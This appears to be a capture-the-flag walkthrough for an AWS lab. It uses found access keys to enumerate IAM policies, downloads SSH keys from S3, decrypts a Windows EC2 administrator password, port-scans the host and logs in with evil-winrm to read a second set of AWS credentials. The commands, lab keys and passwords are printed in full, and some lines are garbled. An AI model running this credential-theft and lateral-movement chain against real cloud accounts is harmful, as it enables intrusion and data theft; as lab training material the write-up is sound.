background:
Your team stumbled upon AWS credentials on a compromised IT workstation. Your mission now is to use these credentials to probe Huge Logistics' cloud infrastructure. Dive in, seek out sensitive data, and identify accessible critical resources to determine the potential extent of exposure.
Your team stumbles upon AWS credentials on a compromised IT workstation. You are now tasked with using these credentials to probe Huge Logistics' cloud infrastructure. Dive in, find sensitive data, and identify key accessible resources to determine potential exposure.
hint:
Access key ID | AKIAWHEOTHRFRH64EQRI |
|---|---|
Secret access key | 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 |
Check the current account identity after aws config โ Query the attch policy of the current identity through the identity
๎
aws configure
AWS Access Key ID [****************THOR]: AKIAWHEOTHRFRH64EQRI
AWS Secret Access Key [****************nVf+]: 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
Default region name [eu-north-1]:
Default output format [None]:
๎
aws sts get-caller-identity
{
"UserId": "AIDAWHEOTHRFTEMEHGPPY",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/contractor"
}
๎
aws iam list-attached-user-policies --user-name contractor
{
"AttachedPolicies": [
{
"PolicyName": "Policy",
"PolicyArn": "arn:aws:iam::427648302155:policy/Policy"
}
]
}
View the policy to obtain its version information โ Query its version to obtain its document
๎
aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Policy
{
"Policy": {
"PolicyName": "Policy",
"PolicyId": "ANPAWHEOTHRFXRFIVBEXM",
"Arn": "arn:aws:iam::427648302155:policy/Policy",
"Path": "/",
"DefaultVersionId": "v4",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2023-07-27T17:39:55+00:00",
"UpdateDate": "2023-07-28T14:24:22+00:00",
"Tags": []
}
}๎
aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Policy --version-id v4
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "ec2:DescribeInstances",
"Resource": ""
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": "ec2:GetPasswordData",
"Resource": "arn:aws:ec2:us-east-1:427648302155:instance/i-04cc1c2c7ec1af1b5"
},
{
"Sid": "VisualEditor2",
"Effect": "Allow",
"Action": [
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:GetUserPolicy",
"iam:ListAttachedUserPolicies",
"s3:GetBucketPolicy"
],
"Resource": [
"arn:aws:iam::427648302155:user/contractor",
"arn:aws:iam::427648302155:policy/Policy",
"arn:aws:s3:::hl-it-admin"
]
}
]
},
"VersionId": "v4",
"IsDefaultVersion": true,
"CreateDate": "2023-07-28T14:24:22+00:00"
}
}
Through this information we can obtain these resources:
Get password data from EC2 instance
i-04cc1c2c7ec1af1b5
List and get information about all EC2 instances in an account
Get information about the IAM policy attached to the current IAM user
Get
hl-it-adminS3 bucket policy for
Take a look at the s3 strategy here
{
"Policy": "{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::427648302155:user/contractor"},"Action":"s3:GetObject","Resource":"arn:aws:s3:::hl-it-admin/ssh_keys/ssh_keys_backup.zip"}]}"
}Download the ssh_keys_backup.zip file inside
aws s3 cp s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip .ย
There are some private keys
Next letโs look at EC2 instances!
Remember here to set the region of aws config to us-east-1 based on the information obtained previously.
aws ec2 describe-instances --filters Name=instance-state-name,Values=running --query 'Reservations[].Instances[].[Tags[?Key==Name].Value | [0],InstanceId,Platform,State.Name,PrivateIpAddress,PublicIpAddress,InstanceType,PublicDnsName,KeyName]'
[
[
"Backup",
"i-04cc1c2c7ec1af1b5",
"windows",
"running",
"172.31.93.149",
"44.204.191.38",
"t2.micro",
"ec2-44-204-191-38.compute-1.amazonaws.com",
"it-admin"
],
[
"External",
"i-04a13bebeb74c8ac9",
null,
"running",
"172.31.84.235",
"52.0.51.234",
"t2.micro",
"ec2-52-0-51-234.compute-1.amazonaws.com",
"ian-content-static-5"
]
]This will display a Windows EC2 named Backup that is created usingit-adminThe SSH key pair is started, and the zip we got before already contains this key! use masscanRun a port scan and find that the default Windows EC2 management port 3389 (Remote Desktop Protocol) and port 22 (SSH) are not available. Instead, port 5985 is associated with unencrypted WinRM (Windows Remote Management) connections.
root@None:~# masscan -p- 44.204.191.38 --rate=10000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-10-10 04:05:21 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 5985/tcp on 44.204.191.38
rate: 0.00-kpps, 100.00% done, waiting -33-secs, found=1We run the following command, specifying pem, to get the password of the local administrator of the EC2 instance.
aws ec2 get-password-data --instance-id i-04cc1c2c7ec1af1b5 --priv-launch-key it-admin.pem
{
"InstanceId": "i-04cc1c2c7ec1af1b5",
"PasswordData": "UZ$abRnO!bPj@KQk%BSEaBIO%reJIX!",
"Timestamp": "2023-07-27T22:39:26+00:00"
}Connect using evil-winrm
evil-winrm -i 44.204.191.38 -u Administrator -p 'UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!'
Then install powershell on ubuntu
## Instructions for UbuntuUpdate the list of packages
sudo apt-get update
Install pre-requisite packages.
sudo apt-get install -y wget apt-transport-https software-properties-common
Download the Microsoft repository GPG keys
wget -q "https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/packages-microsoft-prod.deb"
Register the Microsoft repository GPG keys
sudo dpkg -i packages-microsoft-prod.deb
Delete the the Microsoft repository GPG keys file
rm packages-microsoft-prod.deb
Update the list of packages after we added packages.microsoft.com
sudo apt-get update
Install PowerShell
sudo apt-get install -y powershell
Install PSWSMan module
pwsh -Command 'Install-Module -Name PSWSMan'
Install NTLMSSP authentication mechanism
apt install gss-ntlmssp
dir C:\Users\adminaksk exists in the .aws directory.
dir C:\Users\adminHTTP 44.204.191.38 5985 44.204.191.38 [] http://44.204.191.38:5985/wsman
WINRM 44.204.191.38 5985 44.204.191.38 [+] .\administrator:UZ$abRnO!bPj@KQk%BSEaBIO%reJIX! (Pwn3d!)
WINRM 44.204.191.38 5985 44.204.191.38 [+] Executed command
WINRM 44.204.191.38 5985 44.204.191.38 Volume in drive C has no label.
Volume Serial Number is 3C76-3B3A
Directory of C:\Users\admin.aws
07/28/2023 11:38 AM <DIR> .
07/28/2023 11:38 AM <DIR> ..
07/28/2023 11:38 AM 31 config
07/28/2023 11:38 AM 119 credentials
2 File(s) 150 bytes
2 Dir(s) 16,436,056,064 bytes free
type C:\Users\admin\.aws\credentials
aws_access_key_id = AKIAWHEOTHRFT5Q4524N
aws_secret_access_key = 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
Return to the bucket to get the flag
Comments (0)
Login to post a comment.